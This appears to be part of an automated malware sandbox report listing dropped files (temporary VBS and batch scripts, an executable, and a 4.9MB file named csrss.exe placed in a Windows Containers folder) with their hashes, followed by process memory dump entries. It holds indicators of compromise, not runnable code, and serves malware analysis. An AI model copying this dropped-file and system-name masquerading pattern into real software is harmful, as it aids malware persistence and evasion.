C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
01841b4277227c0578c89131444e7d57

SHA1
b00fbb6cabb5d09d50c28c0fdc62e5e6917b0c5d

SHA256
34797c2cafe0d94ea265e6aba8e38c3c34532e125bdd6dc8c1eab16a977a8cfa

SHA512
15c656ce162ff535506f9f22d285355576e53b89baebc1064523ab59f2eccb111cdd71c1fd66e59995d0727993bd268c976a9bd6cd78ff78d19a3c13436f0497

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
02eea32bf33220fc0df348b16d0eeee6

SHA1
d74eefd1ee2235023fc5f2e6c3da4bcdd3796212

SHA256
5177032e2dfa9e3d1a1e8060252acf2e1dd1a072fda866e149a570f64e9ef329

SHA512
920471a40eec1731d2be4ed39bfa4c22d001d9fe4f7a5281d3980874efca94942af10bd130c1f377140d4b8d6c92936191ebeef18dc601ebc8327616f55922ab

Download Submit
C:\Users\Admin\AppData\Local\Temp\37407fa4-0eac-4015-a810-0ca753397aa0.vbs

Filesize
492B

MD5
10895005bc60acffaa50362d533cae34

SHA1
5d7b13807fdf34b6c7627e15a1138d535672a802

SHA256
823966f11460c1ffb848a918397491c9bd1d779a488a1a018f20938c709b425a

SHA512
d2c162a2b1dc94e3862088d21cdefb0aa921f137d5b87052458261f018c54abd3d758f22584f7c1330a6c739a02c5b3e646441fcfd6f9346da904da0d100d032

Download Submit
C:\Users\Admin\AppData\Local\Temp\577e189c-41cf-444e-8df4-36037aa4ee36.vbs

Filesize
716B

MD5
a6d41f9622851a291a1d7efc37c2113d

SHA1
4c461f03565d300a604e8ef1ae7fe38af09bcb40

SHA256
91586a3d914cde2fb28af4623101237244a4e471aba66fdda70af323a5a501d8

SHA512
c9605f62bf9a64163d44fb133e014e59330f20807f7c1e108e06d2e2f8e8954b97b4bcbb8aaabcce3b02bd3ecc8e0a6ab2a49433cf3fe51edf28735a69d86e62

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d41ggfsn.4tb.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ac0eff64-047d-4e6e-8370-5e8eea233134.vbs

Filesize
716B

MD5
33b06178cddb4451609acf25062f2d4f

SHA1
c549476080b75fee8b965071788573354457cc79

SHA256
afe94d994abf6539239c6425c134c52260b2390a66678083d1bf79062c021522

SHA512
25b363f283ce6c03a6e676c5afbe4f5058716ab1680407275ed14c54ecb8039496869b563122116995fb80fcf5838b9368e1165eecc5b35ede96af8cbcde7e6d

Download Submit
C:\Users\Admin\AppData\Local\Temp\d0cf3d58-e9f6-48b5-bc67-3fbe67a83087.vbs

Filesize
716B

MD5
4db879c1725aa03416b25ef5cf0a2657

SHA1
41d6541c1cd97d7b449c6fa13f72fcfc5a79b6ad

SHA256
c7f49e1a7fb5d32c00ecb27cf87eaa20b9215a3deba938c2b75bc671968c8c54

SHA512
1bdfd52c61b4753b9bf36ac611601be63433e547082aae9fda70b3fe3c9d388909e6a9f7375490c81107f9532a3b2294adb430406c45fed6babc23a90c0241ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\fd423d22-f9a7-488c-a68a-abcfb5d07677.vbs

Filesize
716B

MD5
4e9a2d9db6654699a57398167eca03c0

SHA1
a13cf8d81cf814b69afabde6b73901318f0fee67

SHA256
a1bfb0a980dc72214ce1113e3c445323b3d93b5a8eeb55c4992656b2b77b3e4b

SHA512
daa28057d7c7c620ecd8b0ec886a2925b700813699f98fa0103e13618040726cf2fce63fbf2eed10630a7933ae930976994048606c146529455b6352a3d1e7b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\gj6EEjwVdZ.bat

Filesize
267B

MD5
91f99747b0577ab70a6cab1b46af2530

SHA1
3fc7ae9818006d720e5027098845465e9859370c

SHA256
e083a072a0adb1af9a1d5c563196d531838139ee44e7a36d810d86b5af3cb638

SHA512
d4cab48b4ab408deaa39788b18e4befc2e68dcc0a4e1af67aa9174762798304055d3ac540b6ab596b9eca632fd7befb724fe04529d680707d572edfa9b986306

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp93A6.tmp.exe

Filesize
75KB

MD5
e0a68b98992c1699876f818a22b5b907

SHA1
d41e8ad8ba51217eb0340f8f69629ccb474484d0

SHA256
2b00d8c2bcc6b48e90524cdd41a07735dc94548ed41925baff86e43a61a4c37f

SHA512
856854f5fd89ae1669e4b2db10b73b4a78496bf80117003244c83e781f75e533e2e2bea9aa6c1b3aba3db1ed92ea0ed9755fbfd78cd6c86ba95867d07fc0ece2

Download Submit
C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\RCXA552.tmp

Filesize
4.9MB

MD5
409cd5f813d26f34b9523c783168b8c2

SHA1
0261634ab7137f836daf76abbe68f47999017cf9

SHA256
9c4bd463d85cfc06a7db4b00a4748abb0c8028d32d440d5dce0309ad5ce2928a

SHA512
0246ea6c1a5a116a08fae64abaf77c9a6ad001a3eeabd4a5e02c1858e3375053e1feb9a90f2f3871f97529d9bc91002d69f7b2604a32e9cdf0c0ae4dce5718f2

Download Submit
C:\Windows\Containers\RCX9C84.tmp

Filesize
4.9MB

MD5
792384d5a8af369939d674368bed87ce

SHA1
cf4aec28b6724304f6c89a771a50e7090f08d6c7

SHA256
f640cb3a8cddf3a8e3765cfe3f169341204bebcd8308d7dd7049f887787947f9

SHA512
3e2a3828a156dd0eacb3d3277a007cf65b6e90ae493204cc4d2ebd4f5448f47e50a34ae72df4fb0d95b036d2c70c0899a7d066bff3da45124116146f814f19a2

Download Submit
C:\Windows\Containers\csrss.exe

Filesize
4.9MB

MD5
0ebd2dc160f7d5627aef291ba8fe1723

SHA1
f19f6aae9588fa548e768924114b4a6ca6021c9e

SHA256
15fd90bfb776a44c67a43066c4e4bf093bf0b724c7c1ca9c3379e9b94ea270f5

SHA512
aa5dd361118de60d42e5cb1fec62011cda145d721c04f736d2e27984e7eb478e884bacc5f5ac7b957d3e2786035341d1906886a0eed511ec3e54278e68dbc161

Download Submit
memory/1880-705-0x000000001C5F0000-0x000000001C602000-memory.dmp

Filesize
72KB

Download
memory/2028-773-0x000000001BFF0000-0x000000001C002000-memory.dmp

Filesize
72KB

Download
memory/3452-71-0x0000000000400000-0x0000000000407000-memory.dmp

Filesize
28KB

Download
memory/4176-609-0x000000001BFF0000-0x000000001C002000-memory.dmp

Filesize
72KB

Download
memory/4616-183-0x000002AE7D4B0000-0x000002AE7D4D2000-memory.dmp

Filesize
136KB

Download
memory/4640-15-0x000000001BE30000-0x000000001BE3E000-memory.dmp

Filesize
56KB

Download
memory/4640-11-0x000000001BE00000-0x000000001BE12000-memory.dmp

Filesize
72KB

Download
memory/4640-157-0x00007FFC18A30000-0x00007FFC194F1000-memory.dmp

Filesize
10.8MB

Download
memory/4640-143-0x00007FFC18A33000-0x00007FFC18A35000-memory.dmp

Filesize
8KB

Download
memory/4640-16-0x000000001BE40000-0x000000001BE48000-memory.dmp

Filesize
32KB

Download
memory/4640-17-0x000000001BE50000-0x000000001BE58000-memory.dmp

Filesize
32KB

Download
memory/4640-18-0x000000001BE60000-0x000000001BE6C000-memory.dmp

Filesize
48KB

Download
memory/4640-13-0x000000001BE10000-0x000000001BE1A000-memory.dmp

Filesize
40KB

Download
memory/4640-14-0x000000001BE20000-0x000000001BE2E000-memory.dmp

Filesize
56KB

Download
memory/4640-0-0x00007FFC18A33000-0x00007FFC18A35000-memory.dmp

Filesize
8KB

Download
memory/4640-12-0x000000001C340000-0x000000001C868000-memory.dmp

Filesize
5.2MB

Download
memory/4640-177-0x00007FFC18A30000-0x00007FFC194F1000-memory.dmp

Filesize
10.8MB

Download
memory/4640-10-0x000000001BDF0000-0x000000001BDFA000-memory.dmp

Filesize
40KB

Download
memory/4640-8-0x000000001BD70000-0x000000001BD86000-memory.dmp

Filesize
88KB

Download
memory/4640-9-0x000000001BD90000-0x000000001BDA0000-memory.dmp

Filesize
64KB

Download
memory/4640-5-0x000000001BDA0000-0x000000001BDF0000-memory.dmp

Filesize
320KB

Download
memory/4640-6-0x000000001BD50000-0x000000001BD58000-memory.dmp

Filesize
32KB

Download
memory/4640-7-0x000000001BD60000-0x000000001BD70000-memory.dmp

Filesize
64KB

Download
memory/4640-4-0x000000001B5F0000-0x000000001B60C000-memory.dmp

Filesize
112KB

Download
memory/4640-2-0x00007FFC18A30000-0x00007FFC194F1000-memory.dmp

Filesize
10.8MB

Download
memory/4640-3-0x000000001B620000-0x000000001B74E000-memory.dmp

Filesize
1.2MB

Download
memory/4640-1-0x00000000003C0000-0x00000000008B4000-memory.dmp

Filesize
5.0MB

Download
memory/4944-740-0x000000001BFF0000-0x000000001C002000-memory.dmp

Filesize
72KB

Download